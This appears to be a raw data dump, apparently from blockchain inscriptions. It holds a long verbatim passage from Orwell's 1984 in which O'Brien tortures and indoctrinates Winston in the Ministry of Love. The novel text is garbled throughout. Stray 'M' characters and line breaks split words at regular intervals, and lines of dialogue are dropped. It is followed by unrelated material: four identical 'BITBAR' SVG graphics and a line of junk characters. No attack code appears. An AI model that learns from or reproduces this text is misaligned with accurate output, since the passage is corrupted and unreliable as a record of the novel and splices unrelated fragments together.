"But how can you stop people remembering things?" cried Winston, again momentarily forgetting the dial. "It is involuntary. It is outside oneself. How can you control memory? You have not controlled mine!"
O'Brien's manner grew stern again. He laid his hand on the dial.
"On the contrary," he sM
aid, "you have not controlled it. That is what has brought you here. You are here because you have failed in humility, in self-discipline. You would not make the act of submission which is the price of sanity. You preferred to be a lunatic, a minority of one. Only the disciplined mind can see reality, Winston. You believe that reality is something objective, external, existing in its own right. You also believe that the nature of reality is self-evident. When you delude yourself into thinking that you see somethingM
, you assume that everyone else sees the same thing as you. But I tell you, Winston, that reality is not external. Reality exists in the human mind, and nowhere else. Not in the individual mind, which can make mistakes, and in any case soon perishes; only in the mind of the Party, which is collective and immortal. Whatever the Party holds to be truth is truth. It is impossible to see reality except by looking through the eyes of the Party. That is the fact that you have got to relearn, Winston. It needs an act of sM
elf-destruction, an effort of the will. You must humble yourself before you can become sane."
He paused for a few moments, as though to allow what he had been saying to sink in.
"Do you remember," he went on, "writing in your diary, 'Freedom is the freedom to say that two plus two make four'?"
"Yes," said Winston.
O'Brien held up his left hand, its back toward Winston, with the thumb hidden and the four fingers extended.
"How many fingers am I holding up, Winston?"
"And if the Party says that it is nM
The word ended in a gasp of pain. The needle of the dial had shot up to fifty-five. The sweat had sprung out all over Winston's body. The air tore into his lungs and issued again in deep groans which even by clenching his teeth he could not stop. O'Brien watched him, the four fingers still extended. He drew back the lever. This time the pain was only slightly eased.
"How many fingers, Winston?"
The needle went up to sixty.
"How many fingers, Winston?"
 Four! What else can I say? Four!"
The needle must have risen again, but he did not look at it. The heavy, stern face and the four fingers filled his vision. The fingers stood up before his eyes like pillars, enormous, blurry, and seeming to vibrate, but unmistakably four.
"How many fingers, Winston?"
"Four! Stop it, stop it! How can you go on? Four! Four!"
"How many fingers, Winston?"
"No, Winston, that is no use. You are lying. You still think there are four. How many fingers, please?"
"Four! Five! Four! Anything you like. Only stop it, stop the pain!"
Abruptly he was sitting up with O'Brien's arm round his shoulders. He had perhaps lost consciousness for a few seconds. The bonds that had held his body down were loosened. He felt very cold, he was shaking uncontrollably, his teeth were chattering, the tears were rolling down his cheeks. For a moment he clung to O'Brien like a baby, curiously comforted by the heavy arm round his shoulders. He had the feeling that O'Brien was his protector, that tM
he pain was something that came from outside, from some other source, and that it was O'Brien who would save him from it.
"You are a slow learner, Winston," said O'Brien gently.
"How can I help it?" he blubbered. "How can I help seeing what is in front of my eyes? Two and two are four."
"Sometimes, Winston. Sometimes they are five. Sometimes they are three. Sometimes they are all of them at once. You must try harder. It is not easy to become sane."
He laid Winston down on the bed. The grip on his limbs tighteneM
d again, but the pain had ebbed away and the trembling had stopped, leaving him merely weak and cold. O'Brien motioned with his head to the man in the white coat, who had stood immobile throughout the proceedings. The man in the white coat bent down and looked closely into Winston's eyes, felt his pulse, laid an ear against his chest, tapped here and there; then he nodded to O'Brien.
"Again," said O'Brien.
The pain flowed into Winston's body. The needle must be at seventy, seventy-five. He had shut his eyes this M
time. He knew that the fingers were still there, and still four. All that mattered was somehow to stay alive until the spasm was over. He had ceased to notice whether he was crying out or not. The pain lessened again. He opened his eyes. O'Brien had drawn back the lever.
"How many fingers, Winston?"
"Four. I suppose there are four. I would see five if I could. I am trying to see five."
"Which do you wish: to persuade me that you see five, or really to see them?"
"Really to see them."
"Again," said O'Brien.
rhaps the needle was at eighty
ninety. Winston could only intermittently remember why the pain was happening. Behind his screwed-up eyelids a forest of fingers seemed to be moving in a sort of dance, weaving in and out, disappearing behind one another and reappearing again. He was trying to count them, he could not remember why. He knew only that it was impossible to count them, and that this was somehow due to the mysterious identity between five and four. The pain died down again. When he opened his eyes it wasM
 to find that he was still seeing the same thing. Innumerable fingers, like moving trees, were still streaming past in either direction, crossing and recrossing. He shut his eyes again.
"How many fingers am I holding up, Winston?"
"I don't know. I don't know. You will kill me if you do that again. Four, five, six
in all honesty I don't know."
"Better," said O'Brien.
A needle slid into Winston's arm. Almost in the same instant a blissful, healing warmth spread all through his body. The pain was already half-foM
rgotten. He opened his eyes and looked up gratefully at O'Brien. At sight of the heavy, lined face, so ugly and so intelligent, his heart seemed to turn over. If he could have moved he would have stretched out a hand and laid it on O'Brien's arm. He had never loved him so deeply as at this moment, and not merely because he had stopped the pain. The old feeling, that at bottom it did not matter whether O'Brien was a friend or an enemy, had come back. O'Brien was a person who could be talked to. Perhaps one did not wM
ant to be loved so much as to be understood. O'Brien had tortured him to the edge of lunacy, and in a little while, it was certain, he would send him to his death. It made no difference. In some sense that went deeper than friendship, they were intimates; somewhere or other, although the actual words might never be spoken, there was a place where they could meet and talk. O'Brien was looking down at him with an expression which suggested that the same thought might be in his own mind. When he spoke it was in an easM
y, conversational tone.
"Do you know where you are, Winston?" he said.
"I don't know. I can guess. In the Ministry of Love."
"Do you know how long you have been here?"
"I don't know. Days, weeks, months
I think it is months."
"And why do you imagine that we bring people to this place?"
"To make them confess."
"No, that is not the reason. Try again."
"No!" exclaimed O'Brien. His voice had changed extraordinarily, and his face had suddenly become both stern and animated. "No! Not merely tM
o extract your confession, nor to punish you. Shall I tell you why we have brought you here? To cure you! To make you sane! Will you understand, Winston, that no one whom we bring to this place ever leaves our hands uncured? We are not interested in those stupid crimes that you have committed. The Party is not interested in the overt act; the thought is all we care about. We do not merely destroy our enemies; we change them. Do you understand what I mean by that?"
He was bending over Winston. His face looked enormM
ous because of its nearness, and hideously ugly because it was seen from below. Moreover it was filled with a sort of exaltation, a lunatic intensity. Again Winston's heart shrank. If it had been possible he would have cowered deeper into the bed. He felt certain that O'Brien was about to twist the dial out of sheer wantonness. At this moment, however, O'Brien turned away. He took a pace or two up and down. Then he continued less vehemently:
"The first thing for you to understand is that in this place there are noM
 martyrdoms. You have read of the religious persecutions of the past. In the Middle Ages there was the Inquisition. It was a failure. It set out to eradicate heresy, and ended by perpetuating it. For every heretic it burned at the stake, thousands of others rose up. Why was that? Because the Inquisition killed its enemies in the open, and killed them while they were still unrepentant; in fact, it killed them because they were unrepentant. Men were dying because they would not abandon their true beliefs. Naturally aM
ll the glory belonged to the victim and all the shame to the Inquisitor who burned him. Later, in the twentieth century, there were the totalitarians, as they were called. There were the German Nazis and the Russian Communists. The Russians persecuted heresy more cruelly than the Inquisition had done. And they imagined that they had learned from the mistakes of the past; they knew, at any rate, that one must not make martyrs. Before they exposed their victims to public trial, they deliberately set themselves to desM
troy their dignity. They wore them down by torture and solitude until they were despicable, cringing wretches, confessing whatever was put into their mouths, covering themselves with abuse, accusing and sheltering behind one another, whimpering for mercy. And yet after only a few years the same thing had happened over again. The dead men had become martyrs and their degradation was forgotten. Once again, why was it? In the first place, because the confessions that they had made were obviously extorted and untrue. WM
e do not make mistakes of that kind. All the confessions that are uttered here are true. We make them true. And, above all, we do not allow the dead to rise up against us. You must stop imagining that posterity will vindicate you, Winston. Posterity will never hear of you. You will be lifted clean out from the stream of history. We shall turn you into gas and pour you into the stratosphere. Nothing will remain of you: not a name in a register, not a memory in a living brain. You will be annihilated in the past as wM
ell as in the future. You will never have existed."
Then why bother to torture me? thought Winston, with a momentary bitterness. O'Brien checked his step as though Winston had uttered the thought aloud. His large ugly face came nearer, with the eyes a little narrowed.
"You are thinking," he said, "that since we intend to destroy you utterly, so that nothing that you say or do can make the smallest difference
in that case, why do we go to the trouble of interrogating you first? That is what you were thinking, waM
"Yes," said Winston.
O'Brien smiled slightly. "You are a flaw in the pattern, Winston. You are a stain that must be wiped out. Did I not tell you just now that we are different from the persecutors of the past? We are not content with negative obedience, nor even with the most abject submission. When finally you surrender to us, it must be of your own free will. We do not destroy the heretic because he resists us; so long as he resists us we never destroy him. We convert him, we capture his inner mind,M
 we reshape him. We burn all evil and all illusion out of him; we bring him over to our side, not in appearance, but genuinely, heart and soul. We make him one of ourselves before we kill him. It is intolerable to us that an erroneous thought should exist anywhere in the world, however secret and powerless it may be. Even in the instant of death we cannot permit any deviation. In the old days the heretic walked to the stake still a heretic, proclaiming his heresy, exulting in it. Even the victim of the Russian purgM
es could carry rebellion locked up in his skull as he walked down the passage waiting for the bullet. But we make the brain perfect before we blow it out. The command of the old despotisms was 'Thou shalt not.' The command of the totalitarians was 'Thou shalt.' Our command is 'Thou art.' No one whom we bring to this place ever stands out against us. Everyone is washed clean. Even those three miserable traitors in whose innocence you once believed
Jones, Aaronson, and Rutherford
in the end we broke them down. I M
took part in their interrogation myself. I saw them gradually worn down, whimpering, groveling, weeping
and in the end it was not with pain or fear, only with penitence. By the time we had finished with them they were only the shells of men. There was nothing left in them except sorrow for what they had done, and love of Big Brother. It was touching to see how they loved him. They begged to be shot quickly, so that they could die while their minds were still clean."
His voice had grown almost dreamy. The exaltatM
ion, the lunatic enthusiasm, was still in his face. He is not pretending, thought Winston; he is not a hypocrite; he believes every word he says. What most oppressed him was the consciousness of his own intellectual inferiority. He watched the heavy yet graceful form strolling to and fro, in and out of the range of his vision. O'Brien was a being in all ways larger than himself. There was no idea that he had ever had, or could have, that O'Brien had not long ago known, examined, and rejected. His mind contained WinM
ston's mind. But in that case how could it be true that O'Brien was mad? It must be he, Winston, who was mad. O'Brien halted and looked down at him. His voice had grown stern again.
"Do not imagine that you will save yourself, Winston, however completely you surrender to us. No one who has once gone astray is ever spared. And even if we chose to let you live out the natural term of your life, still you would never escape from us. What happens to you here is forever. Understand that in advance. We shall crush you dM
own to the point from which there is no coming back. Things will happen to you from which you could not recover, if you lived a thousand years. Never again will you be capable of ordinary human feeling. Everything will be dead inside you. Never again will you be capable of love, or friendship, or joy of living, or laughter, or curiosity, or courage, or integrity. You will be hollow. We shall squeeze you empty, and then we shall fill you with ourselves."
He paused and signed to the man in the white coat. Winston waM
s aware of some heavy piece of apparatus being pushed into place behind his head. O'Brien had sat down beside the bed, so that his face was almost on a level with Winston's.
"Three thousand," he said, speaking over Winston's head to the man in the white coat.
Two soft pads, which felt slightly moist, clamped themselves against Winston's temples. He quailed. There was pain coming, a new kind of pain. O'Brien laid a hand reassuringly, almost kindly, on his.
"This time it will not hurt," he said. "Keep your eyes fiM
At this moment there was a devastating explosion, or what seemed like an explosion, though it was not certain whether there was any noise. There was undoubtedly a blinding flash of light. Winston was not hurt, only prostrated. Although he had already been lying on his back when the thing happened, he had a curious feeling that he had been knocked into that position. A terrific, painless blow had flattened him out. Also something had happened inside his head. As his eyes regained their focus he remembM
ered who he was, and where he was, and recognized the face that was gazing into his own; but somewhere or other there was a large patch of emptiness, as though a piece had been taken out of his brain.
"It will not last," said O'Brien. "Look me in the eyes. What country is Oceania at war with?"
Winston thought. He knew what was meant by Oceania, and that he himself was a citizen of Oceania. He also remembered Eurasia and Eastasia; but who was at war with whom he did not know. In fact he had not been aware that theM
"Oceania is at war with Eastasia. Do you remember that now?"
"Oceania has always been at war with Eastasia. Since the beginning of your life, since the beginning of the Party, since the beginning of history, the war has continued without a break, always the same war. Do you remember that?"
"Eleven years ago you created a legend about three men who had been condemned to death for treachery. You pretended that you had seen a piece of paper which proved them innoM
cent. No such piece of paper ever existed. You invented it, and later you grew to believe in it. You remember now the very moment at which you first invented it. Do you remember that?"
"Just now I held up the fingers of my hand to you. You saw five fingers. Do you remember that?"
O'Brien held up the fingers of his left hand, with the thumb concealed.
"There are five fingers there. Do you see five fingers?"
And he did see them, for a fleeting instant, before the scenery of his mind changeM
d. He saw five fingers, and there was no deformity. Then everything was normal again, and the old fear, the hatred, and the bewilderment came crowding back again. But there had been a moment
he did not know how long, thirty seconds, perhaps
of luminous certainty, when each new suggestion of O'Brien's had filled up a patch of emptiness and become absolute truth, and when two and two could have been three as easily as five, if that were what was needed. It had faded out before O'Brien had dropped his hand; but thM
ough he could not recapture it, he could remember it, as one remembers a vivid experience at some remote period of one's life when one was in effect a different person.
"You see now," said O'Brien, "that it is at any rate possible."
"Yes," said Winston.
O'Brien stood up with a satisfied air. Over to his left Winston saw the man in the white coat break an ampoule and draw back the plunger of a syringe. O'Brien turned to Winston with a smile. In almost the old manner he resettled his spectacles on his nose.
ou remember writing in your diary," he said, "that it did not matter whether I was a friend or an enemy, since I was at least a person who understood you and could be talked to? You were right. I enjoy talking to you. Your mind appeals to me. It resembles my own mind except that you happen to be insane. Before we bring the session to an end you can ask me a few questions, if you choose."
"Any question I like?"
"Anything." He saw that Winston's eyes were upon the dial. "It is switched off. What is your first questM
"What have you done with Julia?" said Winston.
O'Brien smiled again. "She betrayed you, Winston. Immediately
unreservedly. I have seldom seen anyone come over to us so promptly. You would hardly recognize her if you saw her. All her rebelliousness, her deceit, her folly, her dirty-mindedness
everything has been burned out of her. It was a perfect conversion, a textbook case."
O'Brien left this unanswered. "Next question," he said.
"Does Big Brother exist?"
"Of course he exists. TM
he Party exists. Big Brother is the embodiment of the Party."
"Does he exist in the same way as I exist?"
"You do not exist," said O'Brien.
Once again the sense of helplessness assailed him. He knew, or he could imagine, the arguments which proved his own nonexistence; but they were nonsense, they were only a play on words. Did not the statement, "You do not exist," contain a logical absurdity? But what use was it to say so? His mind shriveled as he thought of the unanswerable, mad arguments with which O'Brien wM
"I think I exist," he said wearily. "I am conscious of my own identity. I was born, and I shall die. I have arms and legs. I occupy a particular point in space. No other solid object can occupy the same point simultaneously. In that sense, does Big Brother exist?"
"It is of no importance. He exists?"
"Will Big Brother ever die?"
"Of course not. How could he die? Next question."
"Does the Brotherhood exist?"
"That, Winston, you will never know. If we choose to set you free when we have finisM
hed with you, and if you live to be ninety years old, still you will never learn whether the answer to that question is Yes or No. As long as you live, it will be an unsolved riddle in your mind."
Winston lay silent. His breast rose and fell a little faster. He still had not asked the question that had come into his mind the first. He had got to ask it, and yet it was as though his tongue would not utter it. There was a trace of amusement in O'Brien's face. Even his spectacles seemed to wear an ironical gleam. He M
knows, thought Winston suddenly, he knows what I am going to ask! At the thought the words burst out of him:
"What is in Room 101?"
The expression on O'Brien's face did not change. He answered drily:
"You know what is in Room 101, Winston. Everyone knows what is in Room 101."
He raised a finger to the man in the white coat. Evidently the session was at an end. A needle jerked into Winston's arm. He sank almost instantly into deep sleep.
"There are three stages in your reintegration," said O'Brien. "There iM
s learning, there is understanding, and there is acceptance. It is time for you to enter upon the second stage."
As always, Winston was lying flat on his back. But of late his bonds were looser. They still held him to the bed, but he could move his knees a little and could turn his head from side to side and raise his arms from the elbow. The dial, also, had grown to be less of a terror. He could evade its pangs if he was quick-witted enough; it was chiefly when he showed stupidity that O'Brien pulled the lever. SM
ometimes they got through a whole session without use of the dial. He could not remember how many sessions there had been. The whole process seemed to stretch out over a long, indefinite time
and the intervals between the sessions might sometimes have been days, sometimes only an hour or two.
"As you lie there," said O'Brien, "you have often wondered
you have even asked me
why the Ministry of Love should expend so much time and trouble on you. And when you were free you were puzzled by whatM
 was essentially the same question. You could grasp the mechanics of the society you lived in, but not its underlying motives. Do you remember writing in your diary, 'I understand how; I do not understand why'? It was when you thought about 'why' that you doubted your own sanity. You have read the book, Goldstein's book, or parts of it, at least. Did it tell you anything that you did not know already?"
"You have read it?" said Winston.
"I wrote it. That is to say, I collaborated in writing it. No book is producedM
 individually, as you know."
"Is it true, what it says?"
"As description, yes. The program it sets forth is nonsense. The secret accumulation of knowledge
a gradual spread of enlightenment
ultimately a proletarian rebellion
the overthrow of the Party. You foresaw yourself that that was what it would say. It is all nonsense. The proletarians will never revolt, not in a thousand years or a million. They cannot. I do not have to tell you the reason; you know it already. If you have ever cherished any dreams ofM
 violent insurrection, you must abandon them. There is no way in which the Party can be overthrown. The rule of the Party is forever. Make that the starting point of your thoughts."
He came closer to the bed. "Forever!" he repeated. "And now let us get back to the question of 'how' and 'why.' You understand well enough how the Party maintains itself in power. Now tell me why we cling to power. What is our motive? Why should we want power? Go on, speak," he added as Winston remained silent.
Nevertheless Winston diM
d not speak for another moment or two. A feeling of weariness had overwhelmed him. The faint, mad gleam of enthusiasm had come back into O'Brien's face. He knew in advance what O'Brien would say: that the Party did not seek power for its own ends, but only for the good of the majority. That it sought power because men in the mass were frail, cowardly creatures who could not endure liberty or face the truth, and must be ruled over and systematically deceived by others who were stronger than themselves. That the choiM
ce for mankind lay between freedom and happiness, and that, for the great bulk of mankind, happiness was better. That the Party was the eternal guardian of the weak, a dedicated sect doing evil that good might come, sacrificing its own happiness to that of others. The terrible thing, thought Winston, the terrible thing was that when O'Brien said this he would believe it. You could see it in his face. O'Brien knew everything. A thousand times better than Winston, he knew what the world was really like, in what degraM
dation the mass of human beings lived and by what lies and barbarities the Party kept them there. He had understood it all, weighed it all, and it made no difference: all was justified by the ultimate purpose. What can you do, thought Winston, against the lunatic who is more intelligent than yourself, who gives your arguments a fair hearing and then simply persists in his lunacy?
"You are ruling over us for our own good," he said feebly. "You believe that human beings are not fit to govern themselves, and thereforM
He started and almost cried out. A pang of pain had shot through his body. O'Brien had pushed the lever of the dial up to thirty-five.
"That was stupid, Winston, stupid!" he said. "You should know better than to say a thing like that."
He pulled the lever back and continued:
"Now I will tell you the answer to my question. It is this. The Party seeks power entirely for its own sake. We are not interested in the good of others; we are interested solely in power. Not wealth or luxury or long life or happinesM
s; only power, pure power. What pure power means you will understand presently. We are different from all the oligarchies of the past in that we know what we are doing. All the others, even those who resembled ourselves, were cowards and hypocrites. The German Nazis and the Russian Communists came very close to us in their methods, but they never had the courage to recognize their own motives. They pretended, perhaps they even believed, that they had seized power unwillingly and for a limited time, and that just roM
und the corner there lay a paradise where human beings would be free and equal. We are not like that. We know that no one ever seizes power with the intention of relinquishing it. Power is not a means; it is an end. One does not establish a dictatorship in order to safeguard a revolution; one makes the revolution in order to establish the dictatorship. The object of persecution is persecution. The object of torture is torture. The object of power is power. Now do you begin to understand me?"
Winston was struck, asM
 he had been struck before, by the tiredness of O'Brien's face. It was strong and fleshy and brutal, it was full of intelligence and a sort of controlled passion before which he felt himself helpless; but it was tired. There were pouches under the eyes, the skin sagged from the cheekbones. O'Brien leaned over him, deliberately bringing the worn face nearer.
"You are thinking," he said, "that my face is old and tired. You are thinking that I talk of power, and yet I am not even able to prevent the decay of my own bM
ody. Can you not understand, Winston, that the individual is only a cell? The weariness of the cell is the vigor of the organism. Do you die when you cut your fingernails?"
He turned away from the bed and began strolling up and down again, one hand in his pocket.
"We are the priests of power," he said. "God is power. But at present power is only a word so far as you are concerned. It is time for you to gather some idea of what power means. The first thing you must realize is that power is collective. The individuM
al only has power in so far as he ceases to be an individual. You know the Party slogan: 'Freedom is Slavery.' Has it ever occurred to you that it is reversible? Slavery is freedom. Alone
the human being is always defeated. It must be so, because every human being is doomed to die, which is the greatest of all failures. But if he can make complete, utter submission, if he can escape from his identity, if he can merge himself in the Party so that he is the Party, then he is all-powerful and immortal. The seM
cond thing for you to realize is that power is power over human beings. Over the body
but, above all, over the mind. Power over matter
external reality, as you would call it
is not important. Already our control over matter is absolute."
For a moment Winston ignored the dial. He made a violent effort to raise himself into a sitting position, and merely succeeded in wrenching his body painfully.
"But how can you control matter?" he burst out. "You don't even control the climate or the law of gravity. And theM
re are disease, pain, death
O'Brien silenced him by a movement of the hand. "We control matter because we control the mind. Reality is inside the skull. You will learn by degrees, Winston. There is nothing that we could not do. Invisibility, levitation
anything. I could float off this floor like a soap bubble if I wished to. I do not wish to, because the Party does not wish it. You must get rid of those nineteenth-century ideas about the laws of nature. We make the laws of nature."
"But you do not! You are M
not even masters of this planet. What about Eurasia and Eastasia? You have not conquered them yet."
"Unimportant. We shall conquer them when it suits us. And if we did not, what difference would it make? We can shut them out of existence. Oceania is the world."
"But the world itself is only a speck of dust. And man is tiny
helpless! How long has he been in existence? For millions of years the earth was uninhabited."
"Nonsense. The earth is as old as we are, no older. How could it be older? Nothing exists excepM
t through human consciousness."
"But the rocks are full of the bones of extinct animals
mammoths and mastodons and enormous reptiles which lived here long before man was ever heard of."
"Have you ever seen those bones, Winston? Of course not. Nineteenth-century biologists invented them. Before man there was nothing. After man, if he could come to an end, there would be nothing. Outside man there is nothing."
"But the whole universe is outside us. Look at the stars! Some of them are a million light-years away. M
They are out of our reach forever."
"What are the stars?" said O'Brien indifferently. "They are bits of fire a few kilometers away. We could reach them if we wanted to. Or we could blot them out. The earth is the center of the universe. The sun and the stars go round it."
Winston made another convulsive movement. This time he did not say anything. O'Brien continued as though answering a spoken objection:
"For certain purposes, of course, that is not true. When we navigate the ocean, or when we predict an eclipseM
, we often find it convenient to assume that the earth goes round the sun and that the stars are millions upon millions of kilometers away. But what of it? Do you suppose it is beyond us to produce a dual system of astronomy? The stars can be near or distant, according as we need them. Do you suppose our mathematicians are unequal to that? Have you forgotten doublethink?"
Winston shrank back upon the bed. Whatever he said, the swift answer crushed him like a bludgeon. And yet he knew, he knew, that he was in the rM
ight. The belief that nothing exists outside your own mind
surely there must be some way of demonstrating that it was false. Had it not been exposed long ago as a fallacy? There was even a name for it, which he had forgotten. A faint smile twitched the corners of O'Brien's mouth as he looked down at him.
"I told you, Winston," he said, "that metaphysics is not your strong point. The word you are trying to think of is solipsism. But you are mistaken. This is not solipsism. Collective solipsism, if you like. But tM
hat is a different thing; in fact, the opposite thing. All this is a digression," he added in a different tone. "The real power, the power we have to fight for night and day, is not power over things, but over men." He paused, and for a moment assumed again his air of a schoolmaster questioning a promising pupil: "How does one man assert his power over another, Winston?"
Winston thought. "By making him suffer," he said.
"Exactly. By making him suffer. Obedience is not enough. Unless he is suffering, how can you bM
e sure that he is obeying your will and not his own? Power is in inflicting pain and humiliation. Power is in tearing human minds to pieces and putting them together again in new shapes of your own choosing. Do you begin to see, then, what kind of world we are creating? It is the exact opposite of the stupid hedonistic Utopias that the old reformers imagined. A world of fear and treachery and torment, a world of trampling and being trampled upon, a world which will grow not less but more merciless as it refines itsM
elf. Progress in our world will be progress toward more pain. The old civilizations claimed that they were founded on love or justice. Ours is founded upon hatred. In our world there will be no emotions except fear, rage, triumph, and self-abasement. Everything else we shall destroy
everything. Already we are breaking down the habits of thought which have survived from before the Revolution. We have cut the links between child and parent, and between man and man, and between man and woman. No one dares trust a wiM
fe or a child or a friend any longer. But in the future there will be no wives and no friends. Children will be taken from their mothers at birth, as one takes eggs from a hen. The sex instinct will be eradicated. Procreation will be an annual formality like the renewal of a ration card. We shall abolish the orgasm. Our neurologists are at work upon it now. There will be no loyalty, except loyalty toward the Party. There will be no love, except the love of Big Brother. There will be no laughter, except the laugh ofM
 triumph over a defeated enemy. There will be no art, no literature, no science. When we are omnipotent we shall have no more need of science. There will be no distinction between beauty and ugliness. There will be no curiosity, no enjoyment of the process of life. All competing pleasures will be destroyed. But always
do not forget this, Winston
always there will be the intoxication of power, constantly increasing and constantly growing subtler. Always, at every moment, there will be the thrill of victory, the M
sensation of trampling on an enemy who is helpless. If you want a picture of the future, imagine a boot stamping on a human face
He paused as though he expected Winston to speak. Winston had tried to shrink back into the surface of the bed again. He could not say anything. His heart seemed to be frozen. O'Brien went on:
"And remember that it is forever. The face will always be there to be stamped upon. The heretic, the enemy of society, will always be there, so that he can be defeated and humiliated oM
ver again. Everything that you have undergone since you have been in our hands
all that will continue, and worse. The espionage, the betrayals, the arrests, the tortures, the executions, the disappearances will never cease. It will be a world of terror as much as a world of triumph. The more the Party is powerful, the less it will be tolerant; the weaker the opposition, the tighter the despotism. Goldstein and his heresies will live forever. Every day, at every moment, they will be defeated, discredited, ridiculeM
and yet they will always survive. This drama that I have played out with you during seven years will be played out over and over again, generation after generation, always in subtler forms. Always we shall have the heretic here at our mercy, screaming with pain, broken up, contemptible
and in the end utterly penitent, saved from himself, crawling to our feet of his own accord. That is the world that we are preparing, Winston. A world of victory after victory, triumph after triumph after triumph: anM
 endless pressing, pressing, pressing upon the nerve of power. You are beginning, I can see, to realize what that world will be like. But in the end you will do more than understand it. You will accept it, welcome it, become part of it."
Winston had recovered himself sufficiently to speak. "You can't!" he said weakly.
"What do you mean by that remark, Winston?"
"You could not create such a world as you have just described. It is a dream. It is impossible."
"It is impossible to found a civilization on feM
ar and hatred and cruelty. It would never endure."
"It would have no vitality. It would disintegrate. It would commit suicide."
"Nonsense. You are under the impression that hatred is more exhausting than love. Why should it be? And if it were, what difference would that make? Suppose that we choose to wear ourselves out faster. Suppose that we quicken the tempo of human life till men are senile at thirty. Still what difference would it make? Can you not understand that the death of the individual is nM
ot death? The Party is immortal."
As usual, the voice had battered Winston into helplessness. Moreover he was in dread that if he persisted in his disagreement O'Brien would twist the dial again. And yet he could not keep silent. Feebly, without arguments, with nothing to support him except his inarticulate horror of what O'Brien had said, he returned to the attack.
I don't care. Somehow you will fail. Something will defeat you. Life will defeat you."
"We control life, Winston, at all its levels.M
 You are imagining that there is something called human nature which will be outraged by what we do and will turn against us. But we create human nature. Men are infinitely malleable. Or perhaps you have returned to your old idea that the proletarians or the slaves will arise and overthrow us. Put it out of your mind. They are helpless, like the animals. Humanity is the Party. The others are outside
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
&81;:7165=EXK=ATB56MiNT[^cdc<Jltl`sXac_
-_?6?__________________________________________________
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
